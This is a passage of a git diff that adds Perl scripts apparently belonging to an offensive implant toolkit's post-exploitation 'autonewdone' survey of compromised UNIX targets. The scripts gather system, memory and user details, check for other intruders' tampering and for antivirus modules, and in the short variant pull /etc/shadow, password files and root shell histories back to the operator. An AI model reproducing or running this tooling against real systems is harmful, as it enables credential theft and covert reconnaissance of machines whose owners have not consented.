T:$optmp/hacksums.$nopen_rhostname", + "-ls -u -R /bin/ps /bin/netstat $hackdirs >> T:$optmp/hacksums.$nopen_rhostname", + "-sha1sum /bin/ps /bin/netstat $hackdirs >> T:$optmp/hacksums.$nopen_rhostname", + ); + @hackoutput = split(/\n+/,@output); + foreach $line (@hackoutput) { + my ($hackedfile) = $line =~ /[\+-].* \d{4} (\/.*$hackdirregexp.*)/; + my ($sign,$file) = $line =~ /([\+-]).* \d{4} (\/.*)/; + $hackedfile =~ s/\s*$//; + $file =~ s/\s*$//; + if ($sign and $hackedfile) { + my $str="DEFINITELY A HACKED BOX!!"; + if ($sign eq "+") { + $str .= "Matching checksum found for $file\n"; + } + else { + $str .= "No matching checksum for $file\n"; + } + $str .= "$line\n"; + mywarn($str); + $latewarnings .= "\n$str"; + } + elsif ($sign eq "-" and $file) { + my $file = $1; + $file =~ s/(\S*)\s*/$1/; + my $str="POSSIBLY Hacked? No matching checksum for $file\n"; + $str .= "$line\n"; + mywarn($str); + $latewarnings .= "\n$str"; + } + } + } else { + # Just do /bin/ps and /bin/netstat, and don't save them... + unless ($freebsdtarget || $darwintarget) { + doit("-ls -n /bin/ps /bin/netstat", + "-ls -u /bin/ps /bin/netstat", + "-sha1sum /bin/ps /bin/netstat", + ); + } elsif ($freebsdtarget) { + doit("-ls -n /bin/ps /usr/bin/netstat", + "-ls -u /bin/ps /usr/bin/netstat", + "-sha1sum /bin/ps /usr/bin/netstat", + ); + } elsif ($darwintarget) { + doit("-ls -n /bin/ps /usr/sbin/netstat", + "-ls -u /bin/ps /usr/sbin/netstat", + "-sha1sum /bin/ps /usr/sbin/netstat", + ); + } + } + + + logdoit("=df"); + logdoit("df -k -l"); + chomp($dffile = `ls -rt $optargetcommands/df_-k_* | tail -1`); + if (open(DFFILE,"< $dffile")) { + my @disk = (); + my @tmp = (); + my %warned = (); + my $warnings = ""; + while (chomp($line = )) { + #dbg("in autonewdone doosgeneral, line=$line="); + @tmp = split (/\s+/,$line) ; + ($drv,$k,$u,$a,$c,$m) = @tmp; + #dbg("in autonewdone doosgeneral, drv=$drv= k=$k= u=$u= a=$a= c=$c= m=$m="); + next unless ($drv =~ /^\//) ; + push(@disk,$line); + if ($c > 90) { + $warnings .= "$drv\n" unless $warned{$drv}++; + } + } + close(DFFILE); + if (@disk) { + my $num = @disk; + print HOSTINFO "Number of Mounted Partitions: $num\n"; + foreach $disk (@disk) { + print HOSTINFO "Partition: $disk\n"; + } + } + chomp($warnings); + mywarn("\nAlmost FULL partitions:\n$warnings",$COLOR_FAILURE) + if $warnings; + } + else { + myalert("Can't open $dffile! $!"); + } + + ($output) = doit("-getenv"); + print HOSTINFO "System Path: $1\n" if $output =~ /^PATH=(.*)/; + + ($output) = doitwrite("=locale"); + foreach $line (split(/\n+/,$output)) { + if ($line =~ /^LANG=(.+)/) { + print HOSTINFO "Box Language: $1\n" ; + } + if ($line =~ /^LC_CTYPE=(.+)/) { + print HOSTINFO "LC_CTYPE: $1\n" ; + } + } + + doitwrite("=procinfo") unless ($freebsdtarget or $solaristarget); + + doit("=mkoffset"); + chomp($offsetfile = `ls -rt $opdown/mkoffset.$nopen_rhostname* | tail -1`); + if (open(OFFSETFILE,"< $offsetfile")) { + my ($ourdate,$ourudate,$theirdate,$theirudate,$boxutcoffset,$opboxdate) = (); + my $count = 0; + while (chomp($line = )) { + next if $line =~ /(\\n|\#)/; + #dbg("in autonewdone doosgeneral, line=$line="); + if ($opboxdate) { + next unless $line =~ /UTC_OFFSET/; + ($boxutcoffset) = $line =~ /(UTC_OFFSET=[-\d]*)/; + } + next unless $line =~ /(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)\s+(\d{1,2})\s+.*\s(\d{4})/i; + $count++; + #dbg("in autonewdone dossgeneral, count=$count="); + chomp($ourdate = $line) if ($count == 1); + chomp($ourudate = $line) if ($count == 2); + chomp($theirdate = $line) if ($count == 3); + chomp($theirudate = $line) if ($count == 4); + next unless $count == 4 ; + $opboxdate = $line; + } + close(OFFSETFILE); + #dbg("in autonewdone doosgeneral, ourdate=$ourdate= ourudate=$ourudate= theirdate=$theirdate= theirudate=$theirudate= boxutcoffset=$boxutcoffset="); + ($mon,$d,$year) = $ourudate =~ /(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)\s+(\d{1,2})\s+.*\s(\d{4})/i ; + ($h,$m,$nothing,$s) = $ourudate =~ /\s(\d{2}):(\d{2})(:(\d{2})){0,1}\s+/ ; + ($tz) = $ourudate =~ /([\D]+)\s+$year/; + $tz =~ s/^\s*(.*)\s*$/$1/; + $d += 100 ; $d = substr($d,1) ; + $gmnow = Time::Local::timegm($s,$m,$h,$d,$mons{$mon}-1,$year); + #dbg("in autonewdone doosgeneral, gmnow=$gmnow="); + + my ($newway,$monstr,$mday,$hr,$min,$myyear) = epochseconds($theirdate); + ($mon,$d,$year) = $theirdate =~ /(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)\s+(\d{1,2})\s+.*\s(\d{4})/i ; + ($h,$m,$nothing,$s) = $theirdate =~ /\s(\d{2}):(\d{2})(:(\d{2})){0,1}\s+/ ; + ($tz) = $theirdate =~ /\s([\S]{3,})\s+$year/; + ($utctz) = $theirudate =~ /\s([\S]{3,})\s+$year/; + $d = sprintf("%02d",$d) ; + print HOSTINFO "Box Local Time: $theirdate\n"; + print HOSTINFO "Box UTC Time: $theirudate\n"; + print HOSTINFO "Box UTC_OFFSET: $boxutcoffset\n"; + print HOSTINFO "Box Time Zone: $tz\n"; + print HOSTINFO "Box UTC Time Zone: $utctz\n"; + + my $tznow = Time::Local::timegm($s,$m,$h,$d,$mons{$mon}-1,$year); + my $offset = int(($tznow - $gmnow) / 60 + 0.50 ) unless $gmnow <= 0; + print HOSTINFO "Box Offset: $offset\n"; + + my $offsethr = int(($offset / 60)) ; + $offset = -1 * $offset if ($offsethr < 0) ; # neg shown only in hr + my $offsetmin = int(0.50 + (($offset / 60) - int($offset / 60))* 60) ; + print HOSTINFO "Box Offset String: $offsethr hours $offsetmin minutes\n"; + } + else { + myalert("Can't open $offsetfile! $!"); + } + + mydo("autochecklast"); + chomp($lastfile = `ls -rt $optargetcommands/last_* | tail -1`); + if (open(LASTFILE,"< $lastfile")) { + my $rebootinfo = ""; + while (chomp($line = )) { + next unless ($line =~ /^reboot/ or $line =~ /system boot/ ); + chomp($year = `date +\%Y`) unless $year; + if (($day,$mon,$d,$h,$m) = $line =~ + /(Mon|Tue|Wed|Thu|Fri|Sat|Sun) (\w{3}) ([ \d]{2}) (\d{2}):(\d{2})/) { + $d += 100; + $d = substr($d,1); + $rebootinfo = "Last reboot: $year-$mons{$mon}-$d $h:$m:00\n"; + last; + } + } + print HOSTINFO $rebootinfo; + close(LASTFILE); + } + else { + myalert("Can't open $lastfile! $!"); + } + + my $datez = "%z"; + $datez = "%Z" if $solaristarget; + my ($output) = doit("date \"+%a, %d %b %Y %H:%M:%S $datez\""); + writefile("$opdown/date-rfc2822.$nopen_rhostname",$output); + + my (undef,$dmesgfile) = doitwrite("ARRAY","dmesg;echo"); + doit("egrep -i \"memory|mem = \" /var/log/messages /var/adm/messages /var/log/syslog /var/adm/syslog 2>/dev/null | tail -30 >> T:$dmesgfile"); + chomp($dmesgfile = `ls -rt $optargetcommands/last_* | tail -1`); + if (open(DMESGFILE,"< $dmesgfile")) { + while (chomp($line = )) { + $line =~ s/\r//g ; # Get rid of ^M's + $panic .= "$line\n" if ($line =~ /panic/) ; + ($t1,$t2,$t3) = $line2 =~ /(avail.*){0,1}mem\s*[=]\s*(\d+)(K{0,1})/i ; + if (scalar $t2 > 0) { + ($avail,$mem,$k) = ($t1,$t2,$t3) ; + $mem = $mem / 1024 unless ($k) ; # now in K + $mem = int(0.50 + 10 * $mem / 1024)/10 ; # now in M to one decimal + $avail ? $availmem = $mem : $totalmem = $mem ; + ($t1,$t2,$t3,$t4) = $line2 =~ /memory..(\d+)(k{0,1})\/(\d+)(k{0,1})/i ; + } + if (scalar $t1 > 0) { + $availmem = $t1 ; $k = $t2 ; + $availmem = $availmem / 1024 unless ($k) ; # now in K + $availmem = int(0.50 + 10 * $availmem / 1024)/10 ; # now in M to one decimal + } + if (scalar $t3 > 0) { + $totalmem = $t3 ; $k2 = $t4 ; + $totalmem = $totalmem / 1024 unless ($k2) ; # now in K + $totalmem = int(0.50 + 10 * $totalmem / 1024)/10 ; # now in M to one decimal + } + } + close(DMESGFILE); + if ($availmem or $totalmem) { + if ($totalmem) { + $memprintlater.="RAM: $totalmem MB\n"; + if ($availmem) { + my $availpct = int(0.50 + 100 * 10 * ($availmem/$totalmem)) / 10 ; + my $usedpct = int(0.50 + 10*(100 - $availpct))/10 ; + $memprintlater.="RAM available: $availmem of $totalmem MB ($usedpct% used)"; + } + $memprintlater.="\n" ; + } else { # must be only $availmem + $memprintlater="RAM available: $availmem of ??? MB\n" ; + } + if ($panic) { + mymywarn("PANICS IN dmesg OUTPUT!!") ; + sleep 1; + mymywarn("PANICS IN dmesg OUTPUT!!") ; + sleep 1; + mymywarn ("$panic") if $saveoutputto; + print ("${COLOR_FAILURE}\n${panic}${COLOR_NORMAL}\n"); + sleep 1; + } + } + } + else { + myalert("Can't open $lastfile! $!"); + } + + doit("-w"); + doitwrite("w"); + chomp($wfile = `ls -rt $optargetcommands/w__* | tail -1`); + if (open(WFILE,"< $wfile")) { + while (chomp($line = )) { + my $ut = ""; + my $userline = ""; + my $usernum = 0; + my $gotusers = 0; + + next if $line =~ /^#/; + #dbg("in autonewdone doosgeneral, line=$line="); + ($uptimeprint,$userline,$loadprint) = ($1,$2,$3) + if $line =~ /^\s+\S{5,9}\s+(up \d+ \S+,\s+\S+),(\s+\d+\susers?),\s+(load averages?:.*)$/; + $usernum = $1 if $userline =~ /\s*(\d+).*/; + $gotusers++ if $usernum; + #dbg("in autonewdone doosgeneral, uptimeprint=$uptimeprint= userline=$userline= loadprint=$loadprint= usernum=$usernum="); + + if ($uptimeprint and $loadprint) { + print HOSTINFO "Load Average: $loadprint\n"; + print HOSTINFO "Uptime string: $uptimeprint\n"; + my ($d) = $uptimeprint =~ /(\d+)\s+day/; + my ($h,$m,$s) = $uptimeprint =~ /\s+(\d+):(\d+):(\d+)/; + ($h,$m) = $uptimeprint =~ /\s+(\d+):(\d+)/ unless $s; + if (length $h or length $m) { + my $utmin = $d*24*60 + $h*60 + $m ; + my $utsecs = $utmin*60 + $s; + print HOSTINFO "Uptime: $utmin\n"; + print HOSTINFO "Uptime minutes: $utmin\n"; + print HOSTINFO "Uptime seconds: $utsecs\n"; + } + ($uptimeprint,$userline,$loadprint) = (); + next; + } + #dbg("in autonewdone doosgeneral, gotusers=$gotusers="); + if ($gotusers and !($line eq "") and ($line !~ /(^USER|^NO!|load average)/i)) { + print HOSTINFO "Active User: $line\n"; + $latewarnings .= "\nActive User: $line\n"; + } + } + close(WFILE); + } + else { + myalert("Can't open $wfile! $!"); + } + return 1; +} + +doosgeneral (); + +sub myinit { + # If $willautoport is already defined, we must have been called + # by another script via require. We do not re-do autoport stuff. + $calledviarequire = 0; + if ($willautoport and $socket) { + progprint("$prog called -gs newdone.osgeneral @ARGV"); + $calledviarequire = 1; + } else { + $willautoport=1; + my $autoutils = "../etc/autoutils" ; + unless (-e $autoutils) { + $autoutils = "/current/etc/autoutils" ; + } + require $autoutils; + $prog = "-gs newdone.osgeneral"; + $vertext = "$prog version $VER\n" ; + mydie("No user servicable parts inside.\n". + "(I.e., noclient calls $prog, not you.)\n". + "$vertext") unless ($nopen_rhostname and $nopen_mylog and + -e $nopen_mylog); + } + + # Setting $autodone allows any mydo() called functions to know + # we are in this mode to populate $opdir/latewarnings* + $autodone=1; + + # If $socket is already defined, we must have been called + # by another script via require. We do not re-do autoport stuff. + $socket = pilotstart(quiet) unless $socket; +}#myinit \ No newline at end of file diff --git a/Linux/etc/autonewdone.osspecific b/Linux/etc/autonewdone.osspecific new file mode 100755 index 0000000..f069b7f --- /dev/null +++ b/Linux/etc/autonewdone.osspecific @@ -0,0 +1,322 @@ +#!/usr/bin/env perl +# +# 20130416 - This portion of autonewdone implements all of the OS-specific commands +# that need to be run when first connecting to a UNIX target. +# +$VER="3.0.0.7"; +$ext = $$ ; # limits likelihood of concurrent autodone's colliding + # BUT: still possible. + # not too likely to happen. + +$| = 1; +myinit() ; + +sub doosspecific() { + # Open the autodothis file here. + open(CMDOUT,">$statsfile"); + + doitwrite("cat /etc/coreadm.conf ; echo") unless !($solaristarget); + + unless ($solaristarget) { + logdoit("mount", + "cat /proc/mounts"); + } + + if ($solaristarget) { + if ($host_hiddendir =~ /^\/platform\/.*/) { + unless ($host_hiddendir and $hiddendir_viastoic) { + mydo("autoorcheck","-i"); + mydo("autopccheck","-i"); + } + } + logdoit("iostat -E", + "vmstat", + "=procinfo", + "psrinfo -vp", + "isalist", + ); + logdoit("echo :::isainfo -bv::: ; isainfo -bv", + "echo :::isainfo -kv::: ; isainfo -kv", + "echo :::isainfo -nv::: ; isainfo -nv", + "eeprom", + ); + + chomp($psrinfofile = `ls -rt $optargetcommands/psrinfo_-v__* | tail -1`); + if (open(PSRINFOFILE,"< $psrinfofile")) { + my ($cpu,$c,$vendorid,$speed,$fpproc,$gotcpu,$cputype) = () ; + my @cpu = () ; + while (chomp($line = )) { + #dbg("in autonewdone osspecific, line=$line="); + if (($cputype,$gotcpu) = $line =~ /Status of (\S*)\s*processor (\S+)/) { + #dbg("in autonewdone osspecific, cputypr=$cputype= gotcpu=$gotcpu="); + if ($cpu) { + $cpu =~ s/[, ]*$// ; + push(@cpu,$cpu) ; + } + $cputype .= " " if length $cputype; + $cpu = "#$gotcpu $cputype"; + } + $cpu .= "up since $1 " if ($line =~ /since (.*)\./) ; + $cpu .= "$1 " if ($line =~ /(sparc\S*) processor/i) ; + $cpu .= "$1 " if ($line =~ / (i.86) processor/i) ; + $cpu .= "$1 " if ($line =~ /operates at (\d+\s*(\S*Hz))/i) ; + $cpu .= "with $1 " if ($line =~ /and has an{0,1} (.* floating point processor)/i) ; + #dbg("in autonewdone osspecific, cpu=$cpu="); + } + push(@cpu,$cpu) if $cpu; + #dbg("in autonewdone osspecific, cpu=$cpu= cpuarray=@cpu="); + close(PSRINFOFILE); + if (my $num = @cpu) { + print HOSTINFO "Number of Processors: $num\n" if (@cpu); + foreach (@cpu) { + ($c) = /^\#(\d+\S*)/; + ($vendorid,$speed) = /(\S+)\s+([\.\d]+\s+\S*Hz)/ ; + ($fpproc) = /with\s+(.*\S+)\s*/ ; + print HOSTINFO "Processor: $cpu\n"; + print HOSTINFO "CPU $c Speed: $speed\n" if (length($speed)) ; + print HOSTINFO "CPU $c VendorIdentifier: $vendorid\n" if (length($vendorid)) ; + print HOSTINFO "CPU $c FP processor: $fpproc\n" if (length($fpproc)) ; + } + } + } + else { + myalert("Can't open $statsfile! $!"); + } + + #if ($solaristargetversion =~ /^2\.11/) { + # my $pkginfo = doitwrite("pkg info kernel"); + # TODO: Set a variable for this, the uname variable no longer useful for kernel level detection in 2.11+. + #} elsif ($solaristargetversion =~ /^2\.(8|9|10|11)/) { + # logdoit("prtconf -pv"); + #} else { + # logdoit("prtconf -V"); + #} + + } elsif ($darwintarget) { + my %diskutilsdone = (); + foreach my $line (readfile("ARRAY","$optargetcommands/mount*")) { + my ($subdisk,$disk) = $line =~ m,^\s*((/dev/disk\d+)\S+\d+),; + logdoit("diskutil info $subdisk") if ($subdisk and not $diskutilsdone{$subdisk}++); + logdoit("diskutil info $subdisk") if ($disk and not $diskutilsdone{$disk}++); + } + } elsif ($linuxtarget) { + logdoit("lspci -vvvv", + "lsusb", + "more /proc/iomem /proc/pci /proc/ioports /proc/scsi/scsi /proc/meminfo /proc/cpuinfo", + "more /proc/version", + ); + + if (open(STATSFILE,"< $statsfile")) { + my ($memoryoutput,$swapoutput, + $totalmem,$freemem,$memwarned,$swapwarned, + $totalswap,$freeswap)=(); + my $inmeminfo = 0; + while (chomp($line = )) { + if ($line !~ /^\/proc\/meminfo$/) { + next unless $inmeminfo; + } + else { + $inmeminfo++; + } + + #dbg("in autonewdone osspecific meminfoscan, inmeminfo=$inmeminfo= line=$line="); + $totalmem = $1 if ($line =~ /mem.*total.*:(.+)/i or + $line =~ /total.*mem.*:(.+)/i); + $freemem = $1 if ($line =~ /mem.*free.*:(.+)/i or + $line =~ /free.*mem.*:(.+)/i or + $line =~ /mem.*avail.*:(.+)/i or + $line =~ /avail.*mem.*:(.+)/i); + $totalswap = $1 if ($line =~ /swap.*total:(.+)/i or + $line =~ /total.*swap:(.+)/i); + $freeswap = $1 if ($line =~ /swap.*free:(.+)/i or + $line =~ /free.*swap:(.+)/i); + $totalmem =~ s/\s+//g; + $freemem =~ s/\s+//g; + $totalswap =~ s/\s+//g; + $freeswap =~ s/\s+//g; + if ($totalmem and $freemem and $totalswap and $freeswap) { + last; + } + } + dbg("in autonewdone osspecific meminfoscan, totalmem=$totalmem= freemem=$freemem totalswap=$totalswap= freeswap=$freeswap="); + if ($freemem and $totalmem) { + my ($usedpct,$usedstr) = freespace($freemem,$totalmem); + if ($usedpct >= 90 and !$memwarned) { + $memwarned++; + my $str = "Memory almost FULL! $freemem/$totalmem$usedstr\n"; + mywarn($str); + $latewarnings .= $str; + } + $memoryoutput = "RAM available: $freemem/$totalmem$usedstr\n"; + } + if ($freeswap and $totalswap) { + my ($usedpct,$usedstr) = freespace($freeswap,$totalswap); + if ($usedpct >= 90 and !$swapwarned) { + $swapwarned++; + my $str = "Swap almost FULL! $freeswap/$totalswap$usedstr\n"; + mymywarn($str); + $latewarnings .= $str; + } + $swapoutput = "Swap available: $freeswap/$totalswap$usedstr\n"; + } + print HOSTINFO $memoryoutput if ($memoryoutput); + print HOSTINFO $swapoutput if ($swapoutput); + + my ($cpu,$c,$id,$vendorid,$speed,$bmips) = (); + my @cpu = () ; + my $incpuinfo = 0, $linecount = 0; + while (chomp($line = )) { + if ($line !~ /^\/proc\/cpuinfo$/) { + next unless $incpuinfo; + } + else { + $incpuinfo++; + } + + if ($cpu and $linecount >= 5) { + my $num = @cpu; + #dbg("in autonewdone osspecific cpuinfoscan, cpu=$cpu= cpunum=$num="); + $cpu =~ s/[, ]*$// ; + push(@cpu,$cpu) ; + $cpu = ""; + $linecount = 0; + } + + $line =~ s/\s+:\s+/=/ ; + $line =~ s/^\s*//; + #dbg("in autonewdone osspecific cpuinfoscan, incpuinfo=$incpuinfo= line=$line="); + if ($line =~ /processor=(.+)/ or $line =~ /cpu=(.+)/) { + $cpu .= "#$1 "; + $linecount++; + next; + } + if ($line =~ /cpu MHz=(.+)/) { + $cpu .= "$1MHz "; + $linecount++; + next; + } + if ($line =~ /vendor_id=(.+)/) { + $cpu .= "$1 "; + $linecount++; + next; + } + if ($line =~ /model name=(.+)/) { + $cpu .= "$1 "; + $linecount++; + next; + } + if ($line =~ /bogomips=(.+)/i) { + $cpu .= "bogomips=$1 "; + $linecount++; + next; + } + if ($line =~ /prom(.*)=(.+)/i) { + $cpu .= "prom$1=$2 "; + $linecount++; + next; + } + } + close(STATSFILE); + if (my $num = @cpu) { + print HOSTINFO "Number of Processors: $num\n" if (@cpu); + foreach $cpu (@cpu) { + ($c,$id,$vendorid,$speed,$bmips) = $cpu =~ + /^\#(\d+)\s+((\S+)\s+.*)\s+([\.\d]+)MHz\s+bogomips=([\.\d]+)/ ; + print HOSTINFO "Processor: $cpu\n"; + print HOSTINFO "CPU $c Speed: $speed\n" if (length($speed)) ; + print HOSTINFO "CPU $c Identifier: $id\n" if (length($id)) ; + print HOSTINFO "CPU $c VendorIdentifier: $vendorid\n" if (length($vendorid)) ; + print HOSTINFO "CPU $c Bogomips: $bmips\n" if (length($bmips)) ; + } + } + } + else { + myalert("Can't open $statsfile! $!"); + } + + chomp($dffile = `ls -rt $optargetcommands/df_-k__* | tail -1`); + if (open(DFFILE,"< $dffile")) { + my %hddone = (); + while (chomp($line = )) { + if ($line =~ /^\s*(\/dev\/[a-z]+)\d+\s+/ and ! $hddone{$1}++ ) { + doit("hdparm -I $1\n"); + } + } + close(DFFILE); + } + else { + myalert("Can't open $dffile! $!"); + } + + logdoit("lsmod"); + my %modulestrings = ("kav","Kaspersky Anti-Virus"); + foreach my $modulekey (sort keys %modulestrings) { + if ($results =~ /$key/) { + # TODO: Add logic like pscheck here to popup with alerts + } + } + + } elsif ($freebsdtarget) { + #logdoit("df -k"); + + } elsif($darwintarget) { + logdoit("sw_vers", + "kldstat", + "sysctl -a ; echo" + ); + + } elsif ($aixtarget) { + logdoit("prtconf"); + logdoit("uname -M"); + } + + close(CMDOUT); + return 1; +} + +sub freespace { + local ($avail,$total) = (@_); + ($avail) = $avail =~ /(\d+)/; + ($total) = $total =~ /(\d+)/; + if ($total and $avail and $total > 0) { + my $availpct = int(0.50 + 100 * 10 * ($avail/$total)) / 10 ; + my $usedpct = int(0.50 + 10*(100 - $availpct))/10 ; + my $usedstr = " ($usedpct% used)"; + return ($usedpct,$usedstr); + } else { + return (); + } +}#freespace + +doosspecific (); + +sub myinit { + # If $willautoport is already defined, we must have been called + # by another script via require. We do not re-do autoport stuff. + $calledviarequire = 0; + if ($willautoport and $socket) { + progprint("$prog called -gs newdone.osspecific @ARGV"); + $calledviarequire = 1; + } else { + $willautoport=1; + my $autoutils = "../etc/autoutils" ; + unless (-e $autoutils) { + $autoutils = "/current/etc/autoutils" ; + } + require $autoutils; + $prog = "-gs newdone.osspecific"; + $vertext = "$prog version $VER\n" ; + mydie("No user servicable parts inside.\n". + "(I.e., noclient calls $prog, not you.)\n". + "$vertext") unless ($nopen_rhostname and $nopen_mylog and + -e $nopen_mylog); + } + + # Setting $autodone allows any mydo() called functions to know + # we are in this mode to populate $opdir/latewarnings* + $autodone=1; + + # If $socket is already defined, we must have been called + # by another script via require. We do not re-do autoport stuff. + $socket = pilotstart(quiet) unless $socket; +}#myinit \ No newline at end of file diff --git a/Linux/etc/autonewdone.proclist b/Linux/etc/autonewdone.proclist new file mode 100755 index 0000000..4597981 --- /dev/null +++ b/Linux/etc/autonewdone.proclist @@ -0,0 +1,52 @@ +#!/usr/bin/env perl +# +# 20130416 - This portion of autonewdone implements all of the process list commands +# that need to be performed when first connecting to a UNIX target. +# +$VER="3.0.0.4"; +$ext = $$ ; # limits likelihood of concurrent autodone's colliding + # BUT: still possible. + # not too likely to happen. + +$| = 1; +myinit() ; + +sub doproclist() { + #doit("\-ps -T"); + #doit("\-ps -d"); + mydo("autopscheck","autodone"); + return 1; +} + +doproclist (); + +sub myinit { + # If $willautoport is already defined, we must have been called + # by another script via require. We do not re-do autoport stuff. + $calledviarequire = 0; + if ($willautoport and $socket) { + progprint("$prog called -gs newdone.proclist @ARGV"); + $calledviarequire = 1; + } else { + $willautoport=1; + my $autoutils = "../etc/autoutils" ; + unless (-e $autoutils) { + $autoutils = "/current/etc/autoutils" ; + } + require $autoutils; + $prog = "-gs newdone.proclist"; + $vertext = "$prog version $VER\n" ; + mydie("No user servicable parts inside.\n". + "(I.e., noclient calls $prog, not you.)\n". + "$vertext") unless ($nopen_rhostname and $nopen_mylog and + -e $nopen_mylog); + } + + # Setting $autodone allows any mydo() called functions to know + # we are in this mode to populate $opdir/latewarnings* + $autodone=1; + + # If $socket is already defined, we must have been called + # by another script via require. We do not re-do autoport stuff. + $socket = pilotstart(quiet) unless $socket; +}#myinit \ No newline at end of file diff --git a/Linux/etc/autonewdone.short b/Linux/etc/autonewdone.short new file mode 100755 index 0000000..d9736a7 --- /dev/null +++ b/Linux/etc/autonewdone.short @@ -0,0 +1,250 @@ +#!/usr/bin/env perl +# +# 20101006 - This version of autonewdone is much shorter; it only does +# the absolute minimum number of commands required. +# +$VER="2.0.2.8" ; +$ext = $$ ; # limits likelihood of concurrent autodone's colliding + # BUT: still possible. + # not too likely to happen. + +$| = 1; +myinit() ; +# promptkill puts itself into /usr/local/bin if none or an older one is there +# so this makes sure /usr/local/bin is current even if promptkill does not get +# used this op +`$opbin/promptkill -v` if (-x "$opbin/promptkill"); + +# following is first time autonext is used without $$ extension--fewer collisions? +# In case this is there from previous run, we save it as .NNNN +preservefile("$opdown/hostinfo.$nopen_rhostname") unless $autonohostinfo; + +my @autoargv = (); +if ((-e "$optmp/autonewdone.$nopen_rhostname" or -e "$optmp/autodont") and + (!$redo and !$autonohostinfo)) { + myalert("autonewdone has already completed on this target. Use -gs auto FORCE [SHORT] to re-do it."); +} else { + dosurvey_short(); +} + +# End with true value as we require this script elsewhere. +1; + +sub dosurvey_short { + # Are we on a first hop? + ($output,$nopenlines,@firsthops) = doit("-lsh didthis | grep noclient | grepip"); + my $firstin = 0; + foreach my $ip (@firsthops) { + $firstin++ if $ip eq $nopen_myip; + last if $firstin; + } + + myalert("NOLOGGING","BEGIN running $opetc/autonewdone.short on $nopen_rhostname output in $nopen_mylog (v.$VER)"); + system("touch $optmp/autonewdone.INPROGRESS.$targetpid"); + + # Write out the nopen_auto.$nopen_mypid file that yells if we didn't finish a run. + open(YELLPROMPT, "> $optmp/.gsyell.$nopen_rhostname.$nopen_mypid") or myalert("Can't create warning text! $!"); + print YELLPROMPT "${COLOR_FAILURE}\n". + "WARNING: AUTONEWDONE IS NOT FINISHED! WARN SOMEONE!${COLOR_NORMAL}\n\n\n". + "This should not happen. Please report this now\n". + "(yes, now...in person...go....shoo!).\n\n". + "You can hit return here to get your window back, though.\n\n"; + print YELLPROMPT "${COLOR_FAILURE}\n". + "WARNING: AUTONEWDONE IS NOT FINISHED! WARN SOMEONE!${COLOR_NORMAL}\n\n\n"; + close(YELLPROMPT); + open(GSYELL, "> $opetc/nopen_auto.$nopen_mypid") or myalert("Can't create warning script! $!"); + print GSYELL "#NOGS\n"; + print GSYELL "-lsh -nohist rm -f $optmp/.gsyell.out.$nopen_mypid\n"; + print GSYELL "-lsh -nohist test -f $optmp/autonewdone.$nopen_rhostname || ". + "$opetc/autogetinput -O $optmp/.gsyell.out.$nopen_mypid -P $optmp/.gsyell.$nopen_rhostname.$nopen_mypid\n"; + print GSYELL "-lsh -nohist rm -f $optmp/.gsyell.$nopen_rhostname.$nopen_mypid\n"; + print GSYELL "-lsh -nohist rm -f $optmp/autonewdone.INPROGRESS.$targetpid\n"; + close(GSYELL); + + # Begin running the actual autonewdone commands. + doit("-lsh date -u"); + doit("\\hostname", + "-cat /etc/hostname*", + ); + + doit("netstat -an ; netstat -rn >> T:$opdown/netstat.$nopen_rhostname"); + + push(@autoargv,"-s"); + push(@autoargv,"autodone"); + mydo("autopscheck",@autoargv); + + tickleifneedbe($builtinsonly); + + # So much simpler! + ($newdoneoutput,$nopenlines,@newdoneoutput) = + nopenlss("-G${autoreget}YUFM100000", +# nopengetfiles("SIZEMAX=100000 GETZERO=1", + "/etc/hosts*", + "/etc/inet/hosts*", + "/etc/syslog.conf", + "/etc/inetd.conf", + "/etc/inet/inetd.conf", + "/etc/resolv.conf", + "/etc/passwd*", + "/etc/shadow*", + "/etc/security/passwd*", + ) unless ($freebsdtarget); + + # FreeBSD-specific. This stinks, until bugs are fixed. + ($newdoneoutput,$nopenlines,@newdoneoutput) = + nopenlss("-G${autoreget}YUFM100000", +# nopengetfiles( + "/etc/hosts*", + "/etc/syslog.conf", + "/etc/inetd.conf", + "/etc/resolv.conf", + "/etc/passwd", + "/etc/shadow", + "/etc/motd*", + "/etc/master.passwd*", + "/var/etc/hosts", + ) if ($freebsdtarget); + + # NEW: Grab root histories from the target. + if ($freebsdtarget) { + ($newdoneoutput,$nopenlines,@newdoneoutput) = + nopenlss("-G${autoreget}YUFM100000", +# nopengetfiles("SIZEMAX=100000 GETZERO=1", + "/root/.history", + ); + } + elsif ($darwintarget) { + ($newdoneoutput,$nopenlines,@newdoneoutput) = + nopenlss("-G${autoreget}YUFM100000", +# nopengetfiles("SIZEMAX=100000 GETZERO=1", + "/Users/*/.*history*", + "/var/root/.*history*", + ); + } + else { + ($newdoneoutput,$nopenlines,@newdoneoutput) = + nopenlss("-G${autoreget}YUFM100000", +# nopengetfiles("SIZEMAX=100000 GETZERO=1", + "/.*history*", + "/root/.*history*", + "/export/.*history*", + ); + } + + @autoargv = ("autodone"); + mydo("autodfcheck",@autoargv); + + my $datez = "%z"; + $datez = "%Z" if $solaristarget; + + my ($output) = doit("date \"+%a, %d %b %Y %H:%M:%S $datez\""); + writefile("$opdown/date-rfc2822.$nopen_rhostname",$output); + + # Run the (abbreivated) autodothis stuff in here. + my $statsfile = "$opdown/${targetplatform}stats.cmdout.$nopen_rhostname"; + preservefile($statsfile); + open(CMDOUT,">$statsfile"); + if ($solaristarget) { + logdoit("vmstat", + "iostat", + ); + } + elsif ($linuxtarget) { + logdoit("lsmod", + "more /proc/meminfo", + ); + } + close(CMDOUT); + + tickleifneedbe($builtinsonly); + + # Save hostid in separate file + preservefile("$opdown/hostid.$nopen_rhostname"); + doit("hostid 2>/dev/null >T:$opdown/hostid.$nopen_rhostname"); + unlink("$opdown/hostid.$nopen_rhostname") + unless (-s "$opdown/hostid.$nopen_rhostname"); + + doit("-ifconfig >> T:$opdown/ifconfig.$nopen_rhostname", + "=arp >> T:$opdown/arp.$nopen_rhostname", + ); + + preservefile("$opdown/uname-a.$nopen_rhostname"); + ($output) = doit("uname -a > T:$opdown/uname-a.$nopen_rhostname"); + newhostvar("host_uname{$nopen_rhostname}",$output) + if ($output) ; + + tickleifneedbe($builtinsonly); + + ($redo,$thismonth,$today,$thismonthfiles,$todayfiles) = + whendo("autonewdone","DONE",$thismonth,$today); + + doit("-lsh rm -f $opetc/nopen_auto.$nopen_mypid"); + myalert("NOLOGGING","DONE running 